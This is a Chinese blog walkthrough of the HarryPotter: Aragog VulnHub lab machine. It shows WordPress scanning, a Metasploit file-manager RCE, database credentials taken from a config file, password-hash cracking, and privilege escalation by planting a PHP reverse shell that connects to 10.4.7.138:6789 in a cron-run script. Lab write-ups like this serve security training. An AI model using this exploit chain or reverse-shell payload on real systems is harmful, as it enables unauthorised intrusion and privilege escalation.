1. Toy模板网首页
  2. > Toy博客

harrypotter1-aragog靶机攻略

8月前 作者：order libra 分类：Toy博客 阅读(26) 违法举报

这篇具有很好参考价值的文章主要介绍了harrypotter1-aragog靶机攻略。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

harrypotter1

扫描

nmap

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

指纹

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

目录

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

渗透

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

找到了登录位置

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

看到wordpress就用wpscan扫一扫

wpscan --url="http://10.4.7.153/blog" -e p --plugins-detection aggressive --api-token=d1fuMZc2tbhJWYk9VfNsl0GZlyYxkfH6bpL0pCKFhok

扫描出有这些file manager漏洞

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

使用msf搜一下这个漏洞

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

此处选择使用exploit/multi/http/wp_file_manager_rce

名字完全契合

配置完成后运行获取shell，注意要配置targeturi参数

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

使用该命令获取回显

/usr/bin/script -qc /bin/bash /dev/null

在hagrid98的家目录下发现疑似密码文件

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}

解码结果如图

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

wordpress文件夹在etc下，进去看看发现config配置文件

得到数据库的用户信息

root:mySecr3tPass

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

登入数据库

mysql -uroot -p

在wordpress数据库的wp-users表中发现用户信息

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

hagrid98：$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.

hash-identifier识别一下密码类型

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

拿去md5解密，得到

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

hagrid98:password123

提权

ssh连接登录成功

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

在/opt文件夹下发现脚本文件，查看内容，是将下载内容复制到tmp路径下，该脚本可能为一个定时执行的任务

将该脚本文件更改为如图内容

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

进入/tmp增加一个php文件，将下面反弹命令写入

<?php $sock=fsockopen("10.4.7.138",6789);exec("/bin/sh -i <&3 >&3 2>&3");?>

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

开启监听端口

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

等待一会提权成功

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全

获取第二个

harrypotter1-aragog靶机攻略,靶机系列,网络安全,安全,web安全文章来源地址https://www.toymoban.com/news/detail-720197.html

到了这里，关于harrypotter1-aragog靶机攻略的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处： 如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：
领支付宝红包 赞助服务器费用

相关文章

  • Vulnhub项目：Aragog

    Vulnhub项目：Aragog

    HarryPotter: Aragog (1.0.2) ~ VulnHub 死亡圣器三部曲之第一部，Aragog是海格养的蜘蛛的名字， 并且又牵扯到了密室 确定靶机ip，攻击机ip，扫描靶机开放端口  只有22，80端口，对80端口进行目录爆破，发现是wordpress框架  这里给了提示，说明是wordpress plugins存在一些可利用的点    查

    2024年02月10日
    浏览(22)
  • HARRYPOTTER: FAWKES

    HARRYPOTTER: FAWKES

    攻击机 目标机192.168.223.143 主机发现 端口扫描 开启了21 22 80 2222 9898 五个端口，其中21端口可以匿名FTP登录，好像有点说法,百度搜索一下发现可以用anonymous登录，尝试一下 ftp连接方式是ftp IP 可以看到有个server_hogwarts文件 get到本地 看一下是什么文件 vim打开文件头有一个ELF，应

    2024年02月19日
    浏览(20)
  • 通过python获取靶机的反弹Shell [靶机实战]

    通过python获取靶机的反弹Shell [靶机实战]

    Kali：172.30.1.3/24 靶机(Funbox9)：172.30.1.129/24 通过nmap扫描此主机，我们需要获取到开放的端口以及服务的Banner  通过扫描我们发现，目标主机开放着21端口，服务Banner是 vsftpd 2.3.4，并且允许匿名登录 我们尝试ftp匿名连接此主机：  根据其返回信息，我们发现了一个可能是一个本

    2024年02月06日
    浏览(28)
  • 通过nc获取靶机的反弹Shell [靶机实战]

    通过nc获取靶机的反弹Shell [靶机实战]

    Kali：172.30.1.3/24 靶机(Funbox9)：172.30.1.129/24 通过nmap扫描此主机，我们需要获取到开放的端口以及服务的Banner  通过扫描我们发现，目标主机开放着21端口，服务Banner是 vsftpd 2.3.4，并且允许匿名登录 我们尝试ftp匿名连接此主机：  根据其返回信息，我们发现了一个可能是一个本

    2024年02月06日
    浏览(90)
  • Vulnhub靶机：driftingblues 4

    Vulnhub靶机：driftingblues 4

    运行环境：Virtualbox 攻击机：kali（10.0.2.15） 靶机：driftingblues4（10.0.2.20） 目标：获取靶机root权限和flag 靶机下载地址：https://www.vulnhub.com/entry/driftingblues-4,661/ 使用nmap主机发现靶机ip： 10.0.2.20 使用nmap端口扫描发现靶机开放端口： 21、22、80 打开网站没有可利用的功能点，并且

    2024年02月01日
    浏览(39)
  • Vulnhub:DerpNStink 1靶机

    Vulnhub:DerpNStink 1靶机

    kali：192.168.111.111 靶机：192.168.111.130 端口扫描 通过nmap的http-enum脚本发现目标80端口存在wordpress，访问目标网站的wordpress被重定向到http://derpnstink.local，修改hosts文件再访问 通过wpscan枚举出目标存在admin用户 尝试弱口令admin，登录到wordpress后台，在后台发现插件Slideshow存在任意

    2024年02月08日
    浏览(44)
  • Vulnhub: blogger:1靶机

    Vulnhub: blogger:1靶机

    kali：192.168.111.111 靶机：192.168.111.176 端口扫描 在80端口的 /assets/fonts/ 目录下发现blog目录，访问后发现为wordpress 利用wpscan发现wordpress插件 wpdiscuz 存在任意文件上传漏洞 msf进行漏洞利用 vagrant用户的密码同样为vagrant vagrant用户sudo权限 提升为root flag

    2024年02月14日
    浏览(28)
  • 【Vulnhub】搭建Vulnhub靶机

    【Vulnhub】搭建Vulnhub靶机

    Vulnhub它是一个提供各种网络攻防靶场的平台，里面大部分的环境是要用VMware或者VirtualBox打开运行的。 去vulnhub的官网 https://www.vulnhub.com可以看到各种镜像。 点击某一个进入我们可以看到关于镜像的详细信息，包括：镜像描述、难度等级、下载地址等。 通过下载地址下载完成

    2024年02月05日
    浏览(32)
  • Vulnhub: bassamCTF: 1靶机

    Vulnhub: bassamCTF: 1靶机

    kali：192.168.111.111 靶机：192.168.111.210 端口扫描 修改hosts文件 爆破出子域名 welcome 对子域目录爆破 index.php 存在文件读取 查看 /etc/passwd 和 config.php 用 config.php 中的账号密码登录ssh，账号： test ，密码： test123 查看test用户的历史命令发现文件 MySecretPassword MySecretPassword 文件内容

    2024年02月11日
    浏览(30)

  • 渗透测试 靶机环境下载

    实验环境 下载微软软件： Sign in to your account http://msdn.microsoft.com/en-ca/subscriptions/aa336858 下载实验所需Windows虚拟机： Virtual Machines - Microsoft Edge Developer Download free virtual machines to test Microsoft Edge and IE8 to IE11 https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ 下载Linux应用程序虚拟机

    2024年02月09日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包，优惠每天领

二维码1

领取红包

二维码2

领红包